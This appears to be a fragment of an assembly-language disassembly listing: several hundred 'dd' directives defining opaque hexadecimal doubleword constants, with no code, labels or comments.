		dd 40205DC6h, 0F0ECE7E7h, 0D03A00A5h, 0E90F7504h, 8C7F2910h
		dd 0BD3E4B98h, 85A70053h, 0FC306EC7h, 0A34800B1h, 2C88591Fh
		dd 0FF005232h, 57D62076h, 0DC4050h, 38284FAh, 47B83E88h
		dd 9B04EEF6h, 667C87B4h, 4FBEAC80h, 727A00FAh, 0E6F9063Ch
		dd 0AC00C073h, 0D3BA4E2Dh, 0DD7851h, 2A522088h,	79F745E0h
		dd 674AC002h, 80867657h, 0D714479Eh, 4DDB00BEh,	48536033h
		dd 1307A3F9h, 0E1506371h, 2A1724A0h, 0CA090519h, 107D20FBh
		dd 770987E0h, 0F420F0E5h, 0E7562BD1h, 0C6808C01h, 167338CDh
		dd 369840DEh, 0F5C112D7h, 5FC04099h, 293ECB5h, 0B8AD9D1Eh
		dd 73009FECh, 3699B2E0h, 96140ADEh, 4880111h, 8060D83Bh
		dd 52851C64h, 67D65306h, 1C7868D4h, 0BC303F36h,	8303895Ch
		dd 7DA1502Dh, 0BA80F8A2h, 71307661h, 9EE42C01h,	4D842711h
		dd 4274E8h, 0E07F8AAEh,	96C6AA91h, 681FF430h, 3DCF5647h
		dd 0C91F5ED1h, 0B55DC0A4h, 45982B35h, 100FCEEh,	0F43E94CEh
		dd 0FB13A674h, 0EB405Ch, 0B95578C2h, 38F40BE3h,	4FEAF101h
		dd 0D6ABBFEDh, 3D5D98F7h, 889892h, 3016DB20h, 826ED428h
		dd 0E479E607h, 58F07498h, 9C1BD6h, 0E0F1B551h, 0CA7A2CDCh
		dd 77767D20h, 0EFA50050h, 9428313Eh, 983057C3h,	0C6B71114h
		dd 0A16D2E6Eh, 30C398Eh, 1B883F9Bh, 0D5294206h,	0E6108148h
		dd 9E0A0094h, 0FD86F00Dh, 88A87493h, 9B00CAB7h,	57A74A54h
		dd 802285h, 712ED6F4h, 24202C67h, 66C85A50h, 0D167900h
		dd 0FCEE4C60h, 7CECE0h,	7FE2AF4Ah, 7D967AF5h, 0A15B9A04h
		dd 880A27Bh, 3F07A03Ah,	118005C9h, 69A34256h, 16E68D55h
		dd 1FC7D600h, 0B2DF5DDDh, 0E02C1D9Bh, 1004FCBCh, 809C7CBDh
		dd 3AEBEE1Fh, 602E8500h, 0C73DF417h, 0E1080041h, 78674903h
		dd 2800C568h, 0F573A4F1h, 271D14Dh, 0C6D745BAh,	0F060B1D6h
		dd 0D01C6CFCh, 61268441h, 51040Bh, 151DFA67h, 3B22285Eh
		dd 0EAF888h, 33E9E57Ch,	0CAB00C26h, 38D75100h, 1C77A42Dh
		dd 0BAF60EE6h, 0F8226480h, 0D082D4CEh, 2240B7AEh, 40928C7h
		dd 7FC3A7ABh, 3B5F7B83h, 0F53F0AE8h, 51B41E1Ch,	1080EF1Fh
		dd 31632CC7h, 0A8114944h, 0FE2BC500h, 432DD797h, 79D37A3Eh
		dd 66158F09h, 0EE7C9090h, 91AA171Bh, 75650004h,	0CC7203AFh
		dd 0E8D4C150h, 0AB02F970h, 9F442B50h, 0E3ED8028h, 1DCCD0D4h
		dd 1E30D9A9h, 67F3C037h, 9B556DDh, 2E4CB660h, 2AFC03Ah
		dd 0EAB82922h, 2040E713h, 9307F9F3h, 4E19A242h,	55017980h
		dd 0EA591EFCh, 0A0FFEDCh, 96C0CE1Bh, 0FD65E5B2h, 0A4E12D26h
		dd 68B73D01h, 0E02B3CC2h, 3138F16Eh, 76586186h,	53FC7CD8h
		dd 7DAC0E81h, 0CCA05F78h, 0A44E2E33h, 11990280h, 1C51365Eh
		dd 58A08748h, 150E9DEEh, 5CB837CDh, 7D130CE6h, 0F70095E0h
		dd 8B3FE85h, 9A400B2h, 0EB7EDA5Ch, 0C1008D58h, 0E6658844h
		dd 28E5EE36h, 0C0E0D9h,	15F46078h, 5B8AB120h, 15AEB00h
		dd 0C2F8F0EDh, 0DCEC1E39h, 5E003A5Dh, 4228490Ah, 5800FF5Bh
		dd 34119A4Ch, 0BDB717h,	147A0840h, 93C77728h, 2CEAD603h
		dd 988132B4h, 0FAD0FEF6h, 6726009Ah, 91216627h,	0FB009BE0h
		dd 2F934325h, 74F7BC75h, 0E41E1EAFh, 0AB3D0EADh, 90178D07h
		dd 5B0FA3FDh, 0A0E2260Bh, 11815769h, 0FC4C6F94h, 0C200972Eh
		dd 5EFBB6BAh, 1E074F12h, 0FAE3F0BDh, 6B882280h,	0A9AC796Ch
		dd 0E5EB1300h, 0A5325848h, 0D0020587h, 0B847FD4h, 0C4842588h
		dd 0FF80D0B9h, 6100DF4Eh, 0C8E62818h, 0AD5DA9h,	54CDDC05h
		dd 0D2CBE1FDh, 0E5B83600h, 0DEB5EDB3h, 0DF766Ch, 0E6025915h
		dd 0A0BD9F10h, 0EA64EDFDh, 0C7A65840h, 220009F0h, 620AA1E6h
		dd 2055B45h, 23921227h
		dd 8F403494h, 0C21EBDF3h, 9080286Fh, 0EFA49839h, 99E40F0Dh
		dd 0A8409AAEh, 2EF1B763h, 471F9500h, 2D5673B4h,	0D7800388h
		dd 0EF719237h, 0A75BE6E8h, 82CFE938h, 2EA016DDh, 0A3484027h
		dd 0B0301491h, 0B801B8C4h, 0D98882D3h, 57E1D82Eh, 2D8D6207h
		dd 37C06125h, 9C3934h, 0E4215E8Ah, 57EF4673h, 442EC10Eh
		dd 0C03BE0D0h, 4C3E10FEh, 90006023h, 0DDBF046Fh, 8D002D4Eh
		dd 7C35227Eh, 63CB4FE4h, 259F50D5h, 9A641DA0h, 9707E5E0h
		dd 6577D4DFh, 8407D660h, 0CC6B2CBCh, 2BB40028h,	2AAB72CBh
		dd 0CC6D48h, 0D6D4FD9Fh, 726C7A73h, 97090050h, 14C0181Eh
		dd 560099B5h, 6922DDAh,	0C74813h, 0BBE7D1BEh, 0E5F3EBFh
		dd 9B71A500h, 571F336Fh, 9FA100A4h, 3D12CE92h, 0D83EA642h
		dd 795900B8h, 9399403Bh, 3DDD7970h, 1C806BEBh, 7A4B1AB3h
		dd 961EC7DEh, 240C2EAh,	0C3EF1BA2h, 77E4010Eh, 51FAF77Ch
		dd 5B06E00Fh, 8BCB9800h, 0F1860C47h, 4C6E01B2h,	0D4BD1E0Ah
		dd 2FDEC4FBh, 0B779DB00h, 0D7E72367h, 0E2F300B6h, 21190CFDh
		dd 300F51Dh, 7CA70EF1h,	58A03848h, 8E0057BAh, 0F3754102h
		dd 17039BB7h, 0DAA8DCB9h, 0CA71C878h, 0C9B5006Dh, 96A9231Eh
		dd 0B000CD43h, 0DB3992BAh, 3CA50965h, 0D3005827h, 0FEFE4BDh
		dd 0B00A697h, 0A467A1F3h, 70A59BEh, 20582B0Eh, 3063703Bh
		dd 0C51DE0C4h, 0ED40758Bh, 144EAB71h, 1E230E81h, 1740B7A6h
		dd 7D28A23Ch, 0D9CFBA1Dh, 4D247300h, 84CD3Bh, 6B08032Bh
		dd 0ACFE14A1h, 0F7CE83Eh, 0E50C937Dh, 0B6D0CF05h, 0C50EBEh
		dd 0DB953D33h, 0C95C1DB1h, 0CDDA3Bh, 568140D2h,	1E266088h
		dd 80E5EDA8h, 7E0178A7h, 8D7FA06Fh, 57E8B802h, 0E0AAF5A3h
		dd 129EC340h, 772135Eh,	0D07524AAh, 5DD3385Ah, 0D0275000h
		dd 40F42E06h, 56725Bh, 6324832Ah, 977F532Ch, 3F356000h
		dd 3AC7E877h, 0EFF50052h, 68B965E0h, 6C1DD749h,	0F4FB6D2h
		dd 7A30FA7h, 2ED7B44Ah,	0F104846h, 0C1F9B3DAh, 0B9CA59E0h
		dd 4B7D9FBAh, 7A0F3B01h, 0A89636EDh, 36752ECh, 0BF276DF9h
		dd 48006FC6h, 0D6C25956h, 185499BDh, 7074368Ah,	203FCCD4h
		dd 0AEA001A4h, 8CED9BC8h, 60D8DDC1h, 0CF354881h, 99A87605h
		dd 98880517h, 5A8C40DBh, 44813752h, 80006274h, 4CD51168h
		dd 0BCE7F8h, 8BBE3822h,	7933EEE0h, 0EC2E1917h, 0F8D38300h
		dd 1CED64F9h, 0F6B958h,	1C65417Ah, 5200D5F4h, 937053BCh
		dd 2668106h, 9409CECFh,	8C80964Ch, 56F286F5h, 89168E35h
		dd 0E7489080h, 45A1074Eh, 20280B63h, 48BEF96h, 8AECD000h
		dd 3F314BD2h, 0E4780F07h, 16A08F46h, 5740A512h,	3DC0F50Ch
		dd 0A7EF51A3h, 0DC746304h, 0AAB8117Dh, 0C2549300h, 0D27B6613h
		dd 18C10ECDh, 32E06374h, 0EE41A8F0h, 29B22632h,	473F10BFh
		dd 44067740h, 544A5F1h,	0C622841Bh, 28FA5038h, 27B044C4h
		dd 45F16545h, 1482EE12h, 8324A9B3h, 4EE02F40h, 713D4C1Dh
		dd 8E7603D1h, 904B82B6h, 0FC0A49DEh, 0D3D600C4h, 8B7517FAh
		dd 570E9C73h, 7C8D21h, 2ACF6EBCh, 668F00E4h, 0A385430Eh
		dd 0B0038AA6h, 62A5F79Eh, 0A22FD083h, 3F030096h, 32FDDD99h
		dd 7F00E2B9h, 1A3C954Ah, 0C556E4h, 0D4D625AFh, 526B8AA5h
		dd 0DF2F2800h, 0C8570C4Bh, 0BCCD3BD3h, 0FE67C78Fh, 0D0ED51E7h
		dd 0F915E162h, 95317400h, 88D8AEBAh, 129F3D83h,	4C1C2D00h
		dd 0CEEDDFF4h, 0A6DDB700h, 2B55F697h, 0B34F0762h, 7170BCD4h
		dd 6064FED2h, 820029A6h, 0D097831Fh, 0BCF6FFh, 0C48C091h
		dd 4CAF143Bh, 0F54B5100h, 0F22A6CE8h, 0D2CE00BEh, 0DD6D26DCh
		dd 16097D46h, 4E80F9h, 739DFC0Ch, 5C9CFE4Ch, 2201EC45h
		dd 2BA4B0Ah, 8DDCD4A9h,	1B86B60Fh, 55888763h, 5FB3F020h
		dd 0DB5E007Ah, 16C9FE7Fh, 57006668h, 4F952953h,	3D5A9A6h
		dd 0C22113F0h, 0D7D9C47Dh, 220ED4BEh, 7FED2401h, 7EADFBB8h
		dd 704155C4h, 1FDC008Ah, 31882FFCh, 0BE00011Bh,	78869C6Dh
		dd 16A9A04h, 6375DBE3h,	0FC269E44h, 0A9015BD3h,	6419785Fh
		dd 0A330AB33h, 4EC0Ch, 0F0D95D3Bh, 91B7AF9Ch, 6A79EC00h
		dd 38CA3F36h, 0AE6B006Fh, 41667859h, 0BA078356h, 53BF9BECh
		dd 5BB19EC7h, 9C20D2BCh, 81EB006Eh, 822AF34Ah, 79003FDCh
		dd 0BEB97D1Ch, 362140Bh, 4ADDB664h, 1000CB11h, 4DEFC2FEh
		dd 7B399BD7h, 0D02900BFh, 94EC8CB6h, 0D2751C26h, 800D092h
		dd 0FA44CF5Dh, 0D784Ch,	6F9F7ABEh, 68E08746h, 67283Bh
		dd 5D044AD0h, 1CE2B240h, 3F13426Ah, 58DE4D81h, 240F64B3h
		dd 0AB00C754h, 836C8BA8h, 0EE37DBh, 3F23224Ch, 59589AB4h
		dd 83A15E39h, 26113BE2h, 0E0BB9B0Ah, 1D746FC3h,	4D47E5h
		dd 970E7E2Fh, 3B149B95h, 0C8039Eh, 0F313879Fh, 0D7E43Ah
		dd 65D5EB0Ah, 0DBF73CEDh, 39FFB800h, 3EE9CAB4h,	41AD0068h
		dd 2272351Fh, 2707A0B3h, 0C799B9F5h, 89808A67h,	3CB55BDh
		dd 0DEEE0947h, 34C8DF1Bh, 211E23F0h, 0F0288F2Fh, 90CF38h
		dd 374BD60Bh, 73F74F97h, 0A6DE0767h, 40FD4DF8h,	76464855h
		dd 0B6382C7Bh, 9ED00028h, 0BF6D229Dh, 57255815h, 40FF8F1Dh
		dd 0D33A3BD2h, 0A50078CBh, 793E5147h, 12BC7C9h,	19EBA340h
		dd 0F8E39E93h, 0FA02B9B5h, 58C2B381h, 7B4EE0B8h, 1B8AC0EFh
		dd 69FC5E71h, 1906D901h, 577CB0A3h, 3CBED4h, 0D6ECDB16h
		dd 0C680D42Ch, 1F0047E6h, 0E9BA67C8h, 0F11CA0Fh, 8321DFF8h
		dd 0D42FED60h, 2E007BF2h, 8D26C7D6h, 12430FDh, 0B91A302h
		dd 6006B9CCh, 8006EC4h,	0F505E560h, 743A78F3h, 0D8E8009Ah
		dd 8A7CED2Dh, 0DA05C088h, 1369EEDCh, 5AE9BD81h,	5B6120h
		dd 0D306D6B8h, 3073C386h, 3500FCF8h, 39CBEC99h,	1E3CEE2h
		dd 7EAFE9E6h, 0C1883E74h, 1BA1CC16h, 0DFFF8200h, 49323970h
		dd 0C96C0085h, 2EC2E36Bh, 0C00026F3h, 0F8CF6D08h, 63C770DCh
		dd 0ADC9D01Bh, 0F7C05192h, 91007187h, 5BCFB721h, 3E02AFCh
		dd 7C420DD6h, 0C78876ECh, 880EAB2Ch, 0C0AFB454h, 3957F95Bh
		dd 38010021h, 0A98A4596h, 0C9003514h, 980C6A54h, 3D642490h
		dd 8F80E9D0h, 97D8B5B1h, 0B801B6A1h, 5F768183h,	85C88840h
		dd 4F13006Eh, 6C3246DAh, 0CD012A19h, 53FE95F1h,	9DE89B90h
		dd 4D4100F3h, 0DFEAC23Ah, 0A8000C3Eh, 2210D6BCh, 0E40DE5F4h
		dd 7EF5E284h, 0D774A1h,	439FBB94h, 0C1D5063Fh, 642F5F00h
		dd 6CB9CF59h, 35C400F8h, 1D037994h, 61002829h, 0C1557D45h
		dd 0B65C59h, 0B91F53DEh, 2718D67Ch, 17A29F00h, 7D39E1F1h
		dd 3F20C046h, 3156D79Bh, 97A76E00h, 4CFC1D8Ah, 0CE0607B8h
		dd 0C06FCDF1h, 7EC75DEDh, 0E69DD800h, 11B24930h, 0A3450022h
		dd 127A1C72h, 5D1FB5EEh, 9BC3B370h, 9B22AF6Bh, 6A54004Bh
		dd 0BD5BC62Eh, 0B0008DCBh, 0CCF9EFD6h, 439A6Fh,	0C1EB81FCh
		dd 0B36228ECh, 80BB053Ch, 948F2242h, 508A13AAh,	16FFBC92h
		dd 231549h, 9A691E69h, 8E00CBFCh, 2D59F3B2h, 70C787Fh
		dd 5B9731F9h, 2FA550AFh, 0C800D2D5h, 1A325E30h,	2EEA0C79h
		dd 0AC42E92h, 7BCD8B0h,	0D0353050h, 331DC843h, 0F0E4DA00h
		dd 0A69E7DAFh, 0FBE60A0Bh, 0B4184Dh, 0D87A4538h, 7F033C5Ch
		dd 56A2D1BFh, 5162A16Dh, 67B382F8h, 0C16EB096h,	0E346B727h
		dd 502E2BE9h, 4CBDB9A8h, 3629D00Fh, 0FA650068h,	1FE54B9Dh
		dd 0F98EC43h, 96E02F0Dh, 0C949B021h, 0E0FF509Dh, 124701BAh
		dd 6DA7A317h, 80AC61DCh
		dd 0B0DDC3C0h, 8C5DEEh,	65385CD3h, 0A50B131Bh, 67429D00h
		dd 0A24C7EE2h, 16BF002Ch, 2360FB17h, 1300FA32h,	24A32199h
		dd 0EF2790h, 413B33A7h,	0CC07F850h, 0F0CDF400h,	7DC8B503h
		dd 0BD2D0163h, 46B8A29Ah, 0A4E03EDAh, 0C1D90157h, 66AEED5Bh
		dd 85CB2061h, 0CD890E00h, 90C7CBD1h, 23B20086h,	5071D2D7h
		dd 0C3006CBCh, 9AE78EE4h, 7F33C93Ch, 9EF6602Ch,	11D26AA3h
		dd 6005C91h, 703D56FCh,	97AB051Bh, 80139A0Ah, 814714ABh
		dd 41A9BD07h, 8501CC1h,	1F0D849h, 4542FE7Ah, 4098F35Bh
		dd 7F5975C8h, 763500E9h, 0F5720089h, 614F4573h,	8B00F843h
		dd 15980B80h, 395848h, 33ECA355h, 3EB0C7E3h, 35BAD00h
		dd 4B3449ACh, 40100023h, 85BE7936h, 0F5003C77h,	0AC35D65Eh
		dd 75302E2h, 0AD91EBA1h, 74A09E09h, 60F8D57Dh, 5B889A00h
		dd 0ABD361B7h, 2B82006Eh, 67D2741Ch, 4003B54h, 7CE108B4h
		dd 0B3B112h, 489034ABh,	63D8DCB2h, 0E2F27500h, 49319155h
		dd 734B1E62h, 0F9F6808Fh, 6D5092F8h, 4FF7B30Eh,	0FC1CC003h
		dd 13A3D7h, 940C2DAAh, 125529C6h, 16A4300Fh, 3CD900EAh
		dd 0ECC5A33h, 5DD21461h, 0AAF64300h, 7A004CE9h,	0FF1C21CBh
		dd 7D35BB18h, 540600A0h, 0EB2E34B7h, 59008DF8h,	0A42F4CDBh
		dd 3038FF24h, 1368C1D2h, 0C9B0160Fh, 0D6758412h, 51D32200h
		dd 75A3710h, 0CF7C1A62h, 0A80EE083h, 700FDCDh, 0F13FFE88h
		dd 0E414D3h, 45E03A9h, 0CC106EB3h, 0F62589Fh, 2027AFE6h
		dd 33E0D8A0h, 2B005BA6h, 41C1BB08h, 221F9Ch, 42F8FAB7h
		dd 0E3F751B0h, 1005F7Fh, 10F6E76Ah, 9B6C660h, 5134F3B7h
		dd 0A48AF300h, 3008C32h, 263A0578h, 3D47DAh, 39A568BAh
		dd 430BB608h, 9D209E00h, 0D00FBE63h, 57AD3918h,	0CDFB00F9h
		dd 58177FEEh, 7E0045AEh, 0FCB7C419h, 0E012FA4h,	5FE2810Fh
		dd 2AFB1480h, 5C0EC81Eh, 8FA4D7D4h, 0CDDAE344h,	9C08DDD5h
		dd 0C0344798h, 2D23DDDEh, 7181F300h, 0D90CD031h, 5AC1071Fh
		dd 4083F70Dh, 4D7F55D3h, 9D6BCE01h, 298E5D43h, 0FCD188Bh
		dd 0F3ADDB00h, 0CE1D3BF5h, 0BA80EF9Fh, 387F372Bh, 0B75D005Ch
		dd 0E658F0F4h, 0CE0005FEh, 5FF911D0h, 75C78C6h,	86256921h
		dd 0AE5A7110h, 0E5B0D4F3h, 2B1C4C00h, 443EABB5h, 0B89F0033h
		dd 0D4F538FBh, 0AF002C20h, 75394BDDh, 7C67347Fh, 11E7F07h
		dd 0FF5C77A2h, 0BD02FEA4h, 0CCBE0010h, 0C77DCBE2h, 4AF0000Ah
		dd 5FCFAE6h, 0AF005C9Bh, 4E60132Bh, 1D629F1Eh, 8043A614h
		dd 4B24FA54h, 68C0F705h, 21FBF1C3h, 0EB08003Ch,	977FD35Dh
		dd 58407688h, 632E0396h, 0AB39D7F1h, 8E4B0B89h,	92860918h
		dd 0D1346800h, 6E5588h,	7D51BF70h, 0B37176ABh, 0C71E1C14h
		dd 3E910ED0h, 5C270090h, 2A8A54h, 4F625773h, 0E87D5D52h
		dd 64987A00h, 7E1E796Ch, 5A8100BEh, 5E05206Bh, 102B931h
		dd 2D05447h, 95A0C08Dh,	2C660CE0h, 0C9C8D91Bh, 0E7B2DF00h
		dd 0DB1ADEFCh, 2F000E9h, 805EAB83h, 0C500D5E4h,	3BD62185h
		dd 0F2A595h, 0C1CD1F9Eh, 94652023h, 0E100E97Fh,	0EC67FA74h
		dd 0A3F1A960h, 0E880BC88h, 0C8F38Dh, 0C7AD58BBh, 0D8F6D96Bh
		dd 8F8358h, 0D22018FDh,	0E0765E6Dh, 38A97FFEh, 422E3A98h
		dd 44B10037h, 8EBFF369h, 0A8125C24h, 4A48CC20h,	4C7313D2h
		dd 0E43AAD00h, 8D6867h,	0AF236169h, 0ADF172BCh,	0E0E1D100h
		dd 9FF61D73h, 97102445h, 0E5C9079Dh, 1FEE00BEh,	876076D6h
		dd 561A3616h, 0A0500711h, 0A34066CFh, 0EB90F942h, 0C6000FB5h
		dd 0A41D08BAh, 186F1B3Ah, 10488FAAh, 410055C4h,	68B0110h
		dd 48C9C29Bh, 403D2430h, 3EF56300h, 0A37DDAC4h,	0C27A2000h
		dd 6CC9FEDEh, 4F30017h,	0B2759BBh, 2C02E59Ch, 7381D43h
		dd 66BC802Ah, 0A7E6D81h, 0E3983320h, 0BF480DCh,	0A0FC5D6Eh
		dd 5C006490h, 1B1299C9h, 70365A3Dh, 0DC3200DEh,	20F8A2BEh
		dd 0F0FA663Ch, 1D720C90h, 78071901h, 40B3E841h,	4BD130h
		dd 52CADC82h, 6DE62F72h, 0A01344E6h, 72008E1Ah,	0D9C080E8h
		dd 0EA650755h, 0F55A6ECCh, 0C0A51C8Ch, 0E3E25B9Dh, 0FBFC3B8Ah
		dd 0BC30ED00h, 2083B205h, 2A4E0F41h, 0F58F73C6h, 490B0920h
		dd 6F01C5A8h, 4362FEF7h, 88C05540h, 2CD02E4h, 60D1945Fh
		dd 0C0AC54C3h, 0ED9D2910h, 0FE2D680Eh, 44A2403Eh, 9C930Bh
		dd 0E5EA1769h, 0B2EE9B08h, 0B7A45100h, 57342953h, 0DA30F41h
		dd 83C19E99h, 0E4361ECFh, 81161650h, 28014AD3h,	5CE1571Ch
		dd 49499730h, 487DA071h, 9F16764Bh, 664009Ch, 3650788Bh
		dd 0E600CD90h, 2B273720h, 70DD2h, 0D928A569h, 8752DFF5h
		dd 7B1E2404h, 0D0C02FE4h, 0CBFB36h, 96990130h, 0C506DA16h
		dd 0E05FB800h, 84D42649h, 6E3F0070h, 29FAD0CFh,	0F0F27B7Ah
		dd 0A2E71F04h, 0F2C0D180h, 0C29478h, 0B3C3DDB0h, 5C398367h
		dd 0CC0FE103h, 0D0181924h, 0EB680Dh, 263F3BD5h,	0E0FC6D91h
		dd 69B50600h, 0DDEF2851h, 9E310558h, 36CACF0h, 0DAECAFE7h
		dd 0AD8363Dh, 0B3378F77h, 93603000h, 5A79B2h, 430107DCh
		dd 0C0D9B3A2h, 0F1C11400h, 0A3518432h, 527E0722h, 0A0F49A6Ah
		dd 0C97D4BD4h, 0EB39BEF2h, 0A5B809A9h, 0C4AB6003h, 504006Dh
		dd 0DAB4DF30h, 7F00D2A1h, 19893C9Eh, 38DE63C5h,	3300CC71h
		dd 0EAC9E3C4h, 0EE002B95h, 6ADB3ABCh, 0DE3EF1h,	374941D1h
		dd 0A782B581h, 0FE521E01h, 125D487Dh, 3E879BF0h, 0C0801973h
		dd 0E27CB910h, 527F5C7Bh, 93A11360h, 63D71D54h,	43DA204Bh
		dd 0A539E0A0h, 0C12BD980h, 6C0BBD10h, 0E040C5FBh, 132E1747h
		dd 7030A6D5h, 0EA73F78Ah, 0E0F67C15h, 79AB36E0h, 0B1365841h
		dd 0FFC285Bh, 0EA02F49Dh, 0E1B411C2h, 15BC48B8h, 0B2B04084h
		dd 19D3D400h, 0AFC69E6Ah, 6E76009Ch, 0AE1064A2h, 0E0030C18h
		dd 916DD55Bh, 56B1B0A6h, 53B0C038h, 8729A2B9h, 52003C75h
		dd 0AC6ACEC4h, 0EF7907h, 0A5B49EABh, 46847010h,	5A3DF974h
		dd 4A2805Eh, 4A66AD20h,	0FCA3003Ah, 0B57C6179h,	0FF079747h
		dd 133DAB46h, 68D041E7h, 54DF5Eh, 0BACE0144h, 0A9BDFA02h
		dd 9B1BB200h, 82A34CC5h, 203B0E77h, 2D808FEAh, 0D6DC45B4h
		dd 8D97400h, 39FE690Dh,	0A70B0710h, 3A6ABA7Ch, 91090088h
		dd 0B10CA5FFh, 0D8F90E00h, 0D008E2E5h, 0F7150159h, 4FBA6BBBh
		dd 99D5D0C1h, 3EE1501Ch, 0B5802EC0h, 0EC4DDAB7h, 79E7014Fh
		dd 8DF8D415h, 54FFC1CAh, 52CC4AC8h, 125E7504h, 2A86554h
		dd 0D68E150h, 1CB9E440h, 0AFEFDB02h, 0C2FD7717h, 203E41DDh
		dd 31E1A2F8h, 0F8292152h, 268E11D0h, 11DDC211h,	0A4122DE2h
		dd 89315110h, 44B80826h, 22842022h, 0CA4227E4h,	2133BA11h
		dd 5EF904CCh, 0DEAE0442h, 48082B44h, 74084FA8h,	1128F294h
		dd 0D4219765h, 79B31E0Ch, 0F22284D6h, 0C99044BCh, 1B54E40Fh
		dd 9ACA4148h, 118194E2h, 56BBC110h, 0B1D0078Ah,	3BCA15C4h
		dd 4B8F4D46h, 0DE0BEEC6h, 5F95F680h, 69011407h,	25843DBEh
		dd 0D0CC9C6Ch, 4EE200B1h, 778D48AEh, 5E040D47h,	3B32FD69h
		dd 0E1A5D1C0h, 0D0EEEBh, 9064F3F1h, 7BB4CF8Dh, 53134200h
		dd 6D54E5AFh, 4DFEB6h, 0F07A2FA7h, 0B42C2A8Fh, 2782673h
		dd 18C40E00h, 41BF8891h, 46430080h, 6C2A15C2h, 0FC1DF1C3h
		dd 0B2803D32h, 0E056B87Dh, 0CB420E8Fh, 12805827h, 0D8AB74F4h
		dd 0D61369FAh, 7440925Fh, 79DE126h, 0F2BC00B6h,	11858A78h
		dd 0D1020FF8h, 0D49C58D5h
		dd 8738C03Dh, 7B350061h, 793FDAA7h, 0C6009574h,	90D5B3B1h
		dd 1DE1A888h, 406319ABh, 9BA9F484h, 0C648372Eh,	67F1000Bh
		dd 8375E5A0h, 0BF7618D6h, 0EB968002h, 89C78101h, 90EE0415h
		dd 2FD72F0h, 8F8AA1C8h,	0F8E29A17h, 0F31DE660h,	0F6C2ED0Fh
		dd 0C42EE3EAh, 0FB75B007h, 1A761F0Bh, 62F880EFh, 0F00C7FAFh
		dd 778B6B00h, 51B7365Ah, 0A2950EBCh, 34653C8Ch,	2D28C014h
		dd 595072F8h, 330F01F9h, 20EF1593h, 0F5CC7B79h,	7CB83FAFh
		dd 0D23F9281h, 0E8C1C66Bh, 80052B02h, 0CF49F176h, 8AD03AC7h
		dd 0B8F333FBh, 82ED0064h, 43C7F9E4h, 0B075DA3h,	33C197FCh
		dd 9AC2CEC1h, 734F49F8h, 0BE6A0080h, 3CC7C4B0h,	5600A0D8h
		dd 8610F8CDh, 0E759FBh,	6EB789BCh, 0F627D3CEh, 0B16F3403h
		dd 0B80836F1h, 3C1629h,	0E187E48Bh, 0ED0DBA01h,	8122D700h
		dd 53FE79Fh, 8DB7050Ch,	0C59942DAh, 2F5A80C1h, 570074D5h
		dd 676C850Fh, 18BBA3Bh,	1D31786Dh, 0C880642Ch, 0F401D872h
		dd 2E374BB6h, 34E45F8Fh, 2C480105h, 1DD20A32h, 53842080h
		dd 6D00E072h, 0D4702965h, 3A30B39h, 7882A8BDh, 0BCB9A14Eh
		dd 5CF8D759h, 0A548C7DFh, 5BD10240h, 0D74FA66Dh, 0CB2468E0h
		dd 34106A60h, 402320FBh, 0AD0011B5h, 0BDC06EDAh, 40E664h
		dd 2B0ADC3Fh, 97EDA9E1h, 76296700h, 0F79584CCh,	0F9640044h
		dd 8F718B8Dh, 42000DB7h, 0E68A2123h, 3FC9BB29h,	0B280ED75h
		dd 0BE20D0FEh, 0E50031A2h, 0F6962FA9h, 3959C08Eh, 80809E24h
		dd 4798B195h, 5A004DDEh, 31D6E2B5h, 7DC81911h, 0EADCFF6Eh
		dd 0A5D012B7h, 442C000Fh, 38B628F4h, 153DD200h,	0C3AC618h
		dd 0B18A00A6h, 85C98D61h, 0B6009B01h, 0DC4403ABh, 98D263F4h
		dd 821100F4h, 0A3A08670h, 7E00A533h, 251D1820h,	1DF47C54h
		dd 82DD7D89h, 3B638571h, 0E8796C41h, 1600D670h,	0A0F297Eh
		dd 2EE0E2h, 5EF14322h, 4199EFA0h, 6FD5F600h, 0BB5AFE4Bh
		dd 57B01C93h, 86AD832Dh, 10B0D4D6h, 0F8001EB2h,	63A03F82h
		dd 22A5E64h, 29A165E5h,	98405033h, 0BE095F17h, 80166C20h
		dd 5DB05260h, 42980010h, 0D8F37DB8h, 809C3CEh, 80FEEC31h
		dd 0D337754h, 0A27A1C68h, 0C43CC066h, 0CA7EEBE2h, 34A9B400h
		dd 9F753A50h, 0D8840213h, 8C68A42Dh, 0E24B2840h, 2B9B570Ah
		dd 6E249C3Fh, 80F60C00h, 9E12A12h, 8B6AF281h, 3F4F8100h
		dd 0CAFE8415h, 3C62C024h, 0F9654A01h, 0BD00A3D4h, 0E2013E1Fh
		dd 6BB89D1Ah, 11817891h, 8F3CCCF8h, 14FC0072h, 0ECA201EEh
		dd 6B2268A1h, 0D8AEC023h, 213CA500h, 0B2ED271Ah, 0B5492478h
		dd 0BD28043Ch, 0C7CE00E9h, 0A0CF99D3h, 4CF91D98h, 3850BB6Bh
		dd 9C31009Eh, 6E27CAD1h, 0ABF6ED52h, 0C8404C01h, 0E7067E07h
		dd 427AE4h, 63DA6461h, 0C29896B3h, 1CA62900h, 2B3367CAh
		dd 0A28C26C8h, 531E68h,	9EFA1EB6h, 760041F9h, 0A5F35A9h
		dd 39679DC5h, 6D80E485h, 896E20Fh, 2E00F75Ch, 522D561Ah
		dd 0E45E99h, 0A8132183h, 0FD381620h, 119EAC1Ch,	0D70CDAC1h
		dd 0D8200496h, 13DB0031h, 1BCFF3EBh, 7C04BA51h,	6E19757h
		dd 6015B480h, 65F1007Eh, 6AB2DC38h, 2DE0DF63h, 7D22C700h
		dd 0CF3979BBh, 94D600ABh, 83033F78h, 4C00E6BEh,	9EF7F345h
		dd 1C28626Fh, 0BA09F9h,	2F90EDA5h, 3203C585h, 0B3D26144h
		dd 0FEFDA062h, 0A72605B9h, 0C0770AF9h, 0ACECC094h, 610A40FEh
		dd 85AE213h, 0E3190803h, 0F202D4AFh, 0F3849CA9h, 90F1C71Eh
		dd 563DC69Eh, 0BD49BA00h, 0B36D9FD7h, 78352CB6h, 0FD940EF8h
		dd 0E07EEAA7h, 0DE04A07Ah, 8056523Ch, 22DDD1C0h, 0A0CBB9A7h
		dd 4F198F8h, 68D3BB23h,	0D920C09Eh, 3E1C05B8h, 8840C56Fh
		dd 5044C00Fh, 0F16D0060h, 0AC097671h, 280742D8h, 43B38D79h
		dd 7B131B00h, 2CC500FCh, 1E4B4FCCh, 0EB003D64h,	2018A42Eh
		dd 156854h, 0CDEA01F0h,	55C1C508h, 56133000h, 66B9A46Fh
		dd 3933006Dh, 6B45DEB5h, 0FB079514h, 904E918Fh,	0F0816383h
		dd 1F7F4E8h, 7EC710EBh,	0C03D290Eh, 9F00E1B8h, 5C967F32h
